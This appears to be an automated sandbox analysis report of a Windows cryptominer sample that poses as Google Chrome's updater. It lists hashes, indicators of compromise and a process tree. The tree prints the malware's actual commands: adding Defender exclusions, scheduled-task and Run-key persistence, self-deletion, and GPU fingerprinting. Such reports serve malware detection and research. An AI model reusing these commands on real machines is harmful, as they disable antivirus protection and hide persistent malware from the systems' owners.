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230415-lhwzssdf73 10Analysis
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max time kernel
1785s -
max time network
1805s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
17-04-2023 18:20
Static task
static1
Behavioral task
behavioral1
Sample
qM5GMXBk6hJE6Y5e.exe
Resource
win7-20230220-en
General
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Target
qM5GMXBk6hJE6Y5e.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exeupdater.execonhost.exedescription pid process target process PID 2500 created 3184 2500 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2500 created 3184 2500 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2500 created 3184 2500 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2500 created 3184 2500 qM5GMXBk6hJE6Y5e.exe Explorer.EXE PID 2664 created 3184 2664 updater.exe Explorer.EXE PID 2664 created 3184 2664 updater.exe Explorer.EXE PID 2664 created 3184 2664 updater.exe Explorer.EXE PID 2664 created 3184 2664 updater.exe Explorer.EXE PID 4432 created 3184 4432 conhost.exe Explorer.EXE PID 2664 created 3184 2664 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral2/memory/752-248-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-251-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-255-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-259-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-261-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-263-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-265-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-267-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-269-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-271-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-273-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-275-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-277-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-279-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-281-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-283-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-285-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-287-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-289-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-291-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-293-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-295-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-297-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-299-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-301-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-303-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-305-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-307-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-309-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig behavioral2/memory/752-311-0x00007FF771900000-0x00007FF7720F4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2664 updater.exe -
Processes:
resource yara_rule behavioral2/memory/752-248-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-251-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-255-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-259-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-261-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-263-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-265-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-267-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-269-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-271-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-273-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-275-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-277-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-279-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-281-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-283-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-285-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-287-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-289-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-291-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-293-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-295-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-297-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-299-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-301-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-303-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-305-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-307-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-309-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx behavioral2/memory/752-311-0x00007FF771900000-0x00007FF7720F4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2664 set thread context of 4432 2664 updater.exe conhost.exe PID 2664 set thread context of 752 2664 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
updater.execmd.execmd.exeqM5GMXBk6hJE6Y5e.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
qM5GMXBk6hJE6Y5e.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2500 qM5GMXBk6hJE6Y5e.exe 2500 qM5GMXBk6hJE6Y5e.exe 1788 powershell.exe 1788 powershell.exe 2500 qM5GMXBk6hJE6Y5e.exe 2500 qM5GMXBk6hJE6Y5e.exe 3456 powershell.exe 3456 powershell.exe 2500 qM5GMXBk6hJE6Y5e.exe 2500 qM5GMXBk6hJE6Y5e.exe 2500 qM5GMXBk6hJE6Y5e.exe 2500 qM5GMXBk6hJE6Y5e.exe 3504 powershell.exe 3504 powershell.exe 2664 updater.exe 2664 updater.exe 1640 powershell.exe 1640 powershell.exe 2664 updater.exe 2664 updater.exe 4256 powershell.exe 4256 powershell.exe 2664 updater.exe 2664 updater.exe 2664 updater.exe 2664 updater.exe 4432 conhost.exe 4432 conhost.exe 2664 updater.exe 2664 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 656 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1788 powershell.exe Token: SeDebugPrivilege 3456 powershell.exe Token: SeIncreaseQuotaPrivilege 3456 powershell.exe Token: SeSecurityPrivilege 3456 powershell.exe Token: SeTakeOwnershipPrivilege 3456 powershell.exe Token: SeLoadDriverPrivilege 3456 powershell.exe Token: SeSystemProfilePrivilege 3456 powershell.exe Token: SeSystemtimePrivilege 3456 powershell.exe Token: SeProfSingleProcessPrivilege 3456 powershell.exe Token: SeIncBasePriorityPrivilege 3456 powershell.exe Token: SeCreatePagefilePrivilege 3456 powershell.exe Token: SeBackupPrivilege 3456 powershell.exe Token: SeRestorePrivilege 3456 powershell.exe Token: SeShutdownPrivilege 3456 powershell.exe Token: SeDebugPrivilege 3456 powershell.exe Token: SeSystemEnvironmentPrivilege 3456 powershell.exe Token: SeRemoteShutdownPrivilege 3456 powershell.exe Token: SeUndockPrivilege 3456 powershell.exe Token: SeManageVolumePrivilege 3456 powershell.exe Token: 33 3456 powershell.exe Token: 34 3456 powershell.exe Token: 35 3456 powershell.exe Token: 36 3456 powershell.exe Token: SeIncreaseQuotaPrivilege 3456 powershell.exe Token: SeSecurityPrivilege 3456 powershell.exe Token: SeTakeOwnershipPrivilege 3456 powershell.exe Token: SeLoadDriverPrivilege 3456 powershell.exe Token: SeSystemProfilePrivilege 3456 powershell.exe Token: SeSystemtimePrivilege 3456 powershell.exe Token: SeProfSingleProcessPrivilege 3456 powershell.exe Token: SeIncBasePriorityPrivilege 3456 powershell.exe Token: SeCreatePagefilePrivilege 3456 powershell.exe Token: SeBackupPrivilege 3456 powershell.exe Token: SeRestorePrivilege 3456 powershell.exe Token: SeShutdownPrivilege 3456 powershell.exe Token: SeDebugPrivilege 3456 powershell.exe Token: SeSystemEnvironmentPrivilege 3456 powershell.exe Token: SeRemoteShutdownPrivilege 3456 powershell.exe Token: SeUndockPrivilege 3456 powershell.exe Token: SeManageVolumePrivilege 3456 powershell.exe Token: 33 3456 powershell.exe Token: 34 3456 powershell.exe Token: 35 3456 powershell.exe Token: 36 3456 powershell.exe Token: SeIncreaseQuotaPrivilege 3456 powershell.exe Token: SeSecurityPrivilege 3456 powershell.exe Token: SeTakeOwnershipPrivilege 3456 powershell.exe Token: SeLoadDriverPrivilege 3456 powershell.exe Token: SeSystemProfilePrivilege 3456 powershell.exe Token: SeSystemtimePrivilege 3456 powershell.exe Token: SeProfSingleProcessPrivilege 3456 powershell.exe Token: SeIncBasePriorityPrivilege 3456 powershell.exe Token: SeCreatePagefilePrivilege 3456 powershell.exe Token: SeBackupPrivilege 3456 powershell.exe Token: SeRestorePrivilege 3456 powershell.exe Token: SeShutdownPrivilege 3456 powershell.exe Token: SeDebugPrivilege 3456 powershell.exe Token: SeSystemEnvironmentPrivilege 3456 powershell.exe Token: SeRemoteShutdownPrivilege 3456 powershell.exe Token: SeUndockPrivilege 3456 powershell.exe Token: SeManageVolumePrivilege 3456 powershell.exe Token: 33 3456 powershell.exe Token: 34 3456 powershell.exe Token: 35 3456 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exeupdater.execmd.exedescription pid process target process PID 744 wrote to memory of 1956 744 cmd.exe choice.exe PID 744 wrote to memory of 1956 744 cmd.exe choice.exe PID 3504 wrote to memory of 2272 3504 powershell.exe schtasks.exe PID 3504 wrote to memory of 2272 3504 powershell.exe schtasks.exe PID 2664 wrote to memory of 4432 2664 updater.exe conhost.exe PID 4456 wrote to memory of 1944 4456 cmd.exe WMIC.exe PID 4456 wrote to memory of 1944 4456 cmd.exe WMIC.exe PID 2664 wrote to memory of 752 2664 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD55f0ddc7f3691c81ee14d17b419ba220d
SHA1f0ef5fde8bab9d17c0b47137e014c91be888ee53
SHA256a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5
SHA5122ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5c163bf62fa75cb2a1025a4b65a066e4e
SHA10a32672578454e76fe2a556b5354a6aea39e2fd4
SHA2561228bb9616a8b287785dd5ebd781fc73b3ffbb195f532349048708c9a0b9de9e
